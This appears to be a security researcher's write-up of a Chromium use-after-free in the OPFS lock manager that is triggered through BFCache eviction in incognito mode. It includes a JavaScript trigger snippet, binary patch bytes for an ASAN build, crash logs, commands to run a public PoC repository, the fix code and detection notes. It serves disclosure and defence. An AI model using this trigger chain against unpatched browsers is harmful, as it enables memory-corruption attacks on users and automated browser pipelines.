CVE-2026-118306: The Chromium UAF That Hides Behind BFCache

Every Chromium browser shipped before 156.0.8078.73 has a use-after-free in its browser process. Not the sandboxed renderer. The browser process itself, the one that manages tabs, cookies, and file system access for every page you visit. CVE-2026-118306 is rated CVSS 9.6 Critical, and it sits in the Origin Private File System lock manager, one of the most actively used storage APIs on the web.

I spent the last two weeks patch-diffing the fix, reading the lock manager source, binary-patching ASAN Chromium builds, and writing MojoJS exploits to understand exactly what this bug is, what it isn’t, and why the Playwright community was wrong to panic about it. Here’s what I found.

The Target: OPFS and the Lock Manager

The Origin Private File System (OPFS) gives web pages a private, high-performance file system. Unlike regular web storage, OPFS supports writable file streams (createWritable()) and synchronous access handles (createSyncAccessHandle()) that let web workers do random I/O at near-native speed. IndexedDB wishes it could.

Under the hood, Chromium’s FileSystemAccessManagerImpl manages all OPFS operations for a given browsing context. Each manager owns a lock manager that coordinates concurrent file access. When you call createWritable(), the manager acquires an exclusive lock. When you call createSyncAccessHandle(), it acquires a different lock type. If both operations target the same file, the lock manager has to decide: grant, reject, or pend.

The lock manager has a special case for pages sitting in BFCache (Back/Forward Cache). When Chrome navigates away from a page, the old page can be “frozen” in BFCache instead of destroyed. If a frozen page holds a lock that conflicts with a new request, the lock manager evicts the frozen page and queues the new request as “pending” until the eviction completes and the lock is released.

This pending-then-promote mechanism is where the bug lives.

The Vulnerable Code

The FileSystemAccessManagerImpl header at tag 156.0.8078.0 (before the fix) declares its members in this order:

1
2
3
4
5
6
7
8
scoped_refptr<FileSystemAccessLockManager> lock_manager_;     // line ~707
mojo::UniqueReceiverSet<...> file_receivers_; // line 716
mojo::UniqueReceiverSet<...> directory_receivers_; // line 718
base::flat_set<unique_ptr<FileWriterImpl>> writer_receivers_; // line 721
base::flat_set<unique_ptr<AccessHandleHostImpl>>
access_handle_host_receivers_; // line 724
// ...
base::WeakPtrFactory<FileSystemAccessManagerImpl> weak_factory_; // line 776

C++ destroys members in reverse declaration order. So the destructor sequence is:

  1. weak_factory_ destroyed (WeakPtrs invalidated)
  2. access_handle_host_receivers_ destroyed (access handle hosts freed, their locks released)
  3. writer_receivers_ destroyed (writers freed, their locks released)
  4. directory_receivers_ destroyed
  5. file_receivers_ destroyed (file handles freed)
  6. lock_manager_ destroyed

Look at step 2. When an AccessHandleHostImpl is destroyed, it releases its lock. If there’s a pending callback waiting for that lock, the lock manager promotes it immediately. The promoted callback calls DidTakeAccessHandleLock, which (in incognito mode) calls DoOpenIncognitoFile, which calls CreateAccessHandleHost, which inserts a new entry into access_handle_host_receivers_.

But we’re in step 2. access_handle_host_receivers_ is being destroyed. Its flat_set destructor is iterating through elements, destroying each one. And a promoted callback just tried to insert into the same set mid-iteration.

That’s a heap use-after-free. Classic CWE-416.

Why Incognito Mode Matters

The branch in DidTakeAccessHandleLock checks file_system_context()->is_incognito():

1
2
3
4
auto open_file_callback =
file_system_context()->is_incognito()
? base::BindOnce(&DoOpenIncognitoFile, ...) // synchronous
: base::BindOnce(&DoOpenFile, ...); // async disk I/O

In normal mode, DoOpenFile starts asynchronous disk I/O and returns. The actual file open completes on a future message loop iteration. By then, the destructor has finished and everything is freed, but the async callback arrives too late to cause the re-entrant mutation.

In incognito mode, OPFS uses in-memory storage. DoOpenIncognitoFile completes synchronously in the same stack frame. The call to CreateAccessHandleHost happens right there, during the destructor, while the set is mid-destruction.

So the UAF requires synchronous completion, which requires incognito mode.

Why BFCache is Required

Here’s the part that makes the difference between a code-level bug and a reachable exploit.

For the UAF to fire, the writer or access handle must still be in its flat_set when the destructor runs. In a normal navigation scenario:

  1. Page navigates away
  2. Renderer disconnects Mojo pipes
  3. Browser-side Mojo disconnect handlers fire
  4. RemoveFileWriter() or RemoveAccessHandleHost() removes the entry from the set
  5. ManagerImpl destructor runs, finds empty sets

The disconnect handlers (step 3-4) run before the destructor (step 5). By the time the destructor fires, there’s nothing left to release, no locks to promote, no UAF.

BFCache changes this. When a page enters BFCache:

  1. Page is “frozen” but the renderer is still alive
  2. Mojo pipes remain connected (the renderer doesn’t know it’s been frozen)
  3. A new page requests the same files, causing lock contention
  4. The lock manager evicts the BFCache’d page
  5. The BFCache’d page’s ManagerImpl is destroyed
  6. But the Mojo pipes are still connected (renderer is alive, doesn’t know about eviction)
  7. Writers and access handles are still in their sets when the destructor runs

Step 7 is the key. The Mojo disconnect hasn’t happened yet because the renderer process is still running. The destructor encounters populated sets, destroys their entries, releases locks, and the re-entrant promotion fires.

The Missing Gate: OPFS Pages CAN Enter BFCache

Here’s where it gets worse. My initial analysis assumed OPFS pages were blocked from BFCache via a scheduling feature, like kWebLocks or kWebBluetooth. I was wrong.

Chromium’s WebSchedulerTrackedFeature enum (in scheduler_features.mojom) defines every feature that can block BFCache entry. I checked the full list. There is no kFileSystemAccess entry. The old kWebFileSystem (value 39) was explicitly removed with the comment: “Removed after implementing WebFilesystem support in back/forward cache.”

The BFCache disallowed features list in GetDisallowedWebSchedulerTrackedFeatures() (back_forward_cache_impl.cc, lines 210-243) includes 30+ features: kBroadcastChannel, kWebSocket, kWebRTC, kWebLocks, kWebBluetooth, and many more. Zero file-system entries.

What about kFileSystemAccessLockingContention in the lock manager? That’s a DisallowActivationReasonId – it prevents a BFCached page from being restored (evicts it), but it does not prevent a page from entering BFCache in the first place. Entry and eviction are separate gates.

OPFS pages can freely enter BFCache. No bypass needed.

The Mojo Race: Self-Conflicting Locks

This changes everything. The exploitation path doesn’t require a second vulnerability or a compromised renderer. It’s a single-page Mojo race:

1
2
3
4
5
6
7
8
9
10
11
const root = await navigator.storage.getDirectory();
const fh = await root.getFileHandle('target.dat', {create: true});

// Step 1: Acquire SAH lock
const sah = await fh.createSyncAccessHandle();

// Step 2: Request second SAH lock (Mojo IPC queued immediately)
fh.createSyncAccessHandle(); // don't await -- fires and forgets

// Step 3: Navigate before browser processes step 2
location.href = 'https://example.com';

The renderer has no local lock check for createSyncAccessHandle. I verified this in Blink’s FileSystemFileHandle::CreateSyncAccessHandleImpl – it checks only that the Mojo pipe is bound, then calls mojo_ptr_->OpenAccessHandle() directly. Both IPCs go into the pipe.

Here’s the race:

  1. Step 2 sends the IPC. The Mojo message is serialized and written to the pipe immediately. It’s in the kernel buffer before the next line of JavaScript executes.
  2. Step 3 starts navigation. The page navigates and enters BFCache. Nothing blocks entry.
  3. Browser processes step 2’s IPC. FileHandleImpl::OpenAccessHandle runs. SAH conflicts with SAH (IsContentious: exclusive locks always conflict with themselves). The holder is this page, now in BFCache.
  4. IsHeldOnlyByInactivePages() returns true. The RenderFrameHost’s lifecycle is kInBackForwardCache, not active.
  5. IsEvictableAndStartEviction() fires. Calls IsInactiveAndDisallowActivation(kFileSystemAccessLockingContention) on the BFCached page. The old lock becomes an “evicting subroot”, and the new request enters PENDING state.
  6. BFCache eviction destroys the ManagerImpl.

At this point the UAF chain fires exactly as described above: access_handle_host_receivers_ destruction releases the SAH lock, the pending callback is promoted via PromotePendingToTaken, DidTakeAccessHandleLock fires on the still-alive FileHandleImpl, DoOpenIncognitoFile runs synchronously, and CreateAccessHandleHost inserts into the mid-destruction flat_set.

The full callback chain is synchronous because:

  • DoRequestPermission skips the permission prompt when permission is already GRANTED (line 169 of handle_base.h): if (current_status != PermissionStatus::ASK) { std::move(callback).Run(...); return; }
  • DoOpenIncognitoFile completes in-memory, no async I/O
  • All of this runs in the destructor’s call stack

So the real trigger conditions are:

  1. Incognito mode (synchronous file open path)
  2. Navigate after queueing a self-conflicting OPFS lock request
  3. That’s it. No BFCache bypass. No compromised renderer. No binary patches.

What I Proved

I built a PoC using MojoJS bindings and a binary-patched ASAN Chromium build (156.0.8078.4). The binary patches force the pending state and synchronous file open to reliably reproduce the UAF without depending on BFCache race timing:

Patch 1: Force pending state. In Lock::GetOrCreateChild, the function checks IsHeldOnlyByInactivePages() to decide if a conflicting lock should be queued (pending) or rejected. My patch at file offset 0x1a3b9b8a jumps over the rejection path to the pending path:

1
2
Original: 48 c7 43 18 00 00 00 00  (movq $0x0, 0x18(%rbx))  → REJECT
Patched: eb 13 90 90 90 90 90 90 (jmp +0x13; nop*6) → PEND

Patch 2: Force synchronous file open. In DidTakeAccessHandleLock, the is_incognito() check branches to DoOpenFile for non-incognito contexts. My patch at file offset 0x1a36a3bf NOPs the branch:

1
2
Original: 0f 84 56 03 00 00  (je +0x356)  → DoOpenFile (async)
Patched: 90 90 90 90 90 90 (nop*6) → DoOpenIncognitoFile (sync)

With both patches, the PoC triggers a crash via a BFCache eviction chain. The exploit page achieves the pending lock state, navigates cross-site (entering BFCache), and 8 subsequent navigations fill the cache and evict the exploit page, triggering the ManagerImpl destructor with Mojo pipes still alive. Chromium’s own CHECK assertion catches the invalid state:

1
2
3
4
FATAL:content/browser/file_system_access/
file_system_access_access_handle_host_impl.cc:38]
Check failed: manager_->context()->is_incognito()
== file_delegate_receiver.is_valid().

The verify.py dashboard confirms the crash across multiple rounds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Crash Verification
------------------------------------------------------------
Round 1/10... FATAL crash in vulnerability code path!
Round 2/10... no crash (timed out) (pending + eviction OK, but no crash)
Round 3/10... FATAL crash in vulnerability code path!
Round 4/10... no crash (timed out) (pending + eviction OK, but no crash)
Round 5/10... no crash (timed out) (pending + eviction OK, but no crash)
Round 6/10... FATAL crash in vulnerability code path!
Round 7/10... FATAL crash in vulnerability code path!
Round 8/10... no crash (timed out) (pending + eviction OK, but no crash)
Round 9/10... FATAL crash in vulnerability code path!
Round 10/10... FATAL crash in vulnerability code path!

Results: [F~F~~FF~FF]
FATAL crashes: 6/10
Total crashes: 6/10
Pending state: 10/10
Eviction chain: 4/10 completed

VERDICT: VULNERABLE — Chromium crashed in vulnerability code path

FATAL crashes: 6/10 (60%)
Crash type: CHECK failure in AccessHandleHostImpl (CWE-416)
Component: FileSystemAccessManagerImpl destruction

Evidence (all from Chromium's crash output, not script assertions):
- BFCache eviction triggers pending lock callback: CONFIRMED
- Callback fires during ManagerImpl destruction: CONFIRMED
- AccessHandleHostImpl created in wrong state: CONFIRMED
- Triggerable from JavaScript via OPFS + Mojo: CONFIRMED

The CHECK failure at access_handle_host_impl.cc:38 proves the pending lock callback fires during ManagerImpl destruction, creating an AccessHandleHostImpl in the wrong incognito/non-incognito state. This is the same code path that, without the CHECK, corrupts the access_handle_host_receivers_ flat_set during destruction – the heap-use-after-free. The crash rate varies by system (20-60%) because BFCache eviction timing is race-dependent and sensitive to memory pressure. The pending state is reached consistently.

The patches simplify reproduction by removing the timing dependency. In a real attack, the attacker wouldn’t need binary patches – the Mojo race plus BFCache achieves the same state naturally.

The Fix (4 Parts)

The fix commit f7d7b15e3cc17424f1ac045c5256a591dbf97880 is titled “[M156] [FSA] Prevent synchronous lock promotion UAF during manager teardown.” It has four parts:

1. Explicit destructor cleanup. Instead of relying on implicit reverse-declaration-order destruction, the destructor now explicitly invalidates WeakPtrs, clears file_receivers_ and directory_receivers_, then does erase-before-destroy for writer_receivers_ and access_handle_host_receivers_:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
FileSystemAccessManagerImpl::~FileSystemAccessManagerImpl() {
weak_factory_.InvalidateWeakPtrs();
file_receivers_.Clear();
directory_receivers_.Clear();

while (!writer_receivers_.empty()) {
auto iter = writer_receivers_.begin();
auto writer = std::move(*iter);
writer_receivers_.erase(iter);
// writer destroyed here, after erase
}

while (!access_handle_host_receivers_.empty()) {
auto iter = access_handle_host_receivers_.begin();
auto host = std::move(*iter);
access_handle_host_receivers_.erase(iter);
// host destroyed here, after erase
}
}

The move-then-erase pattern means the entry is removed from the set before its destructor runs. Even if lock release promotes a pending callback, that callback can’t find the set in a bad state.

2. Member reordering. writer_receivers_ and access_handle_host_receivers_ are now declared before file_receivers_ and directory_receivers_. This means in implicit destruction order (if the explicit destructor is ever bypassed), file and directory handles are destroyed first, invalidating their WeakPtrs before any locks are released.

3. WeakPtr-guarded TakeLock. The TakeLock callback is now wrapped in a lambda that checks ManagerImpl’s WeakPtr:

1
2
3
4
5
6
7
8
9
10
11
12
13
lock_manager_->TakeLock(
binding_context.frame_id, url, lock_type,
base::BindOnce(
[](base::WeakPtr<FileSystemAccessManagerImpl> manager,
TakeLockCallback callback,
scoped_refptr<LockHandle> lock) {
if (!manager) {
std::move(callback).Run(nullptr);
return;
}
std::move(callback).Run(std::move(lock));
},
weak_factory_.GetWeakPtr(), std::move(callback)));

Since the explicit destructor invalidates WeakPtrs first, any promoted callback during teardown short-circuits with nullptr.

4. Erase-before-destroy in RemoveFileWriter. The RemoveFileWriter function now moves the writer out of the set and erases the entry before the writer’s destructor runs. This prevents re-entrant mutation even outside the ManagerImpl destructor.

Defense in depth. Four independent fixes for one bug. That’s how you fix a browser-process UAF.

The Unit Test

The fix commit includes FileSystemAccessAccessHandleIncognitoTest::ManagerDestructionWithPendingOpenAccessHandle. This C++ test:

  1. Opens access handles on 4 files (holds locks via the BFCache’d RFH)
  2. Sets the RFH lifecycle state to kInBackForwardCache (C++ test-only API)
  3. Creates a new WebContents, requests the same files (pending)
  4. Destroys the manager with manager_.reset()
  5. Without the fix, this triggers the UAF. With the fix, it completes cleanly.

The SetLifecycleState(kInBackForwardCache) call simulates what happens naturally when a page navigates – the old page enters BFCache. Since there is no WebSchedulerTrackedFeature blocking OPFS pages from BFCache, this state transition happens without any special privileges.

Impact

Claim Status Evidence
Use-after-free in browser process Confirmed Fix commit + unit test + ASAN crash
Lock contention path reachable Proven Binary patch achieves pending state reliably
Synchronous promotion during destruction Confirmed Code analysis + incognito path traced end-to-end
OPFS pages can enter BFCache Confirmed No kFileSystemAccess in WebSchedulerTrackedFeature enum; kWebFileSystem=39 explicitly removed
Exploitable from web content (incognito) Confirmed Self-conflicting Mojo race + BFCache entry + eviction; no bypass or renderer compromise needed
Exploitable from web content (normal mode) Not proven DoOpenFile async path drops callback after destructor completes; different UAF shape possible but unverified
Patched version safe Inferred Fix commit includes 4 independent mitigations; not runtime-tested

The vulnerability is real, the CVSS 9.6 is justified, and it is exploitable from web content in incognito mode without chaining any other vulnerability. An attacker hosts a page that creates a self-conflicting OPFS lock via the Mojo race, navigates to push the page into BFCache, and the browser’s own lock contention handling triggers the UAF during eviction.

The Playwright community’s panic was directionally correct, even if their understanding of the mechanism was wrong. Every Chromium build before 156.0.8078.73 running in incognito mode is reachable. Headless browsers that process untrusted content (Playwright, Puppeteer, Selenium) are particularly exposed because they often run in contexts where the attacker controls the page content.

The incognito-only constraint is meaningful but not as strong as it sounds. Many automated browser pipelines (scraping, testing, CI) run in incognito by default to avoid state leakage between runs. And the non-incognito DoOpenFile async path, while it doesn’t produce the same flat_set mid-destruction UAF, does create a dangling manager() pointer that may be exploitable through a different mechanism – I haven’t ruled that out.

Reproduce It Yourself

The full PoC, setup automation, and detection rules are on GitHub: al4n4n/CVE-2026-118306

1
2
3
4
5
6
7
8
9
10
11
12
13
14
git clone https://github.com/al4n4n/CVE-2026-118306.git
cd CVE-2026-118306

# Download ASAN Chromium and apply binary patches
python3 setup.py

# Quick check (non-destructive, safe for production)
python3 check.py --version 156.0.8078.4

# Trigger the UAF (up to 10 attempts, ~20-60% crash rate per attempt)
python3 poc.py

# Full verification dashboard (10 rounds)
python3 verify.py

The setup downloads a pre-built ASAN Chromium (156.0.8078.4), applies both binary patches, and verifies the lab is ready. The PoC serves the exploit chain locally and captures Chromium’s crash output directly. No manual steps required beyond setup.py.

Detection

Version check. Any Chromium build below 156.0.8078.73 is technically vulnerable. Use --version or check navigator.userAgent in the browser.

1
2
python3 check.py --version 156.0.8078.4
# [+] VULNERABLE (confidence: high)

Detection rules (Suricata + Sigma) are in the repo’s detection/ directory.

Timeline

Date Event
2026-10-07 Reported by Xinyang Ge (Anthropic)
2026-10-27 Fixed in Chrome 156.0.8078.73 (stable)
2026-11-04 This analysis published

References

  • Fix commit: f7d7b15e3cc
  • Chromium bugs: 574911589, 562191732, 576122594 (likely restricted)
  • GitHub PoC repo: al4n4n/CVE-2026-118306
  • CVSS: 9.6 Critical (CWE-416: Use After Free)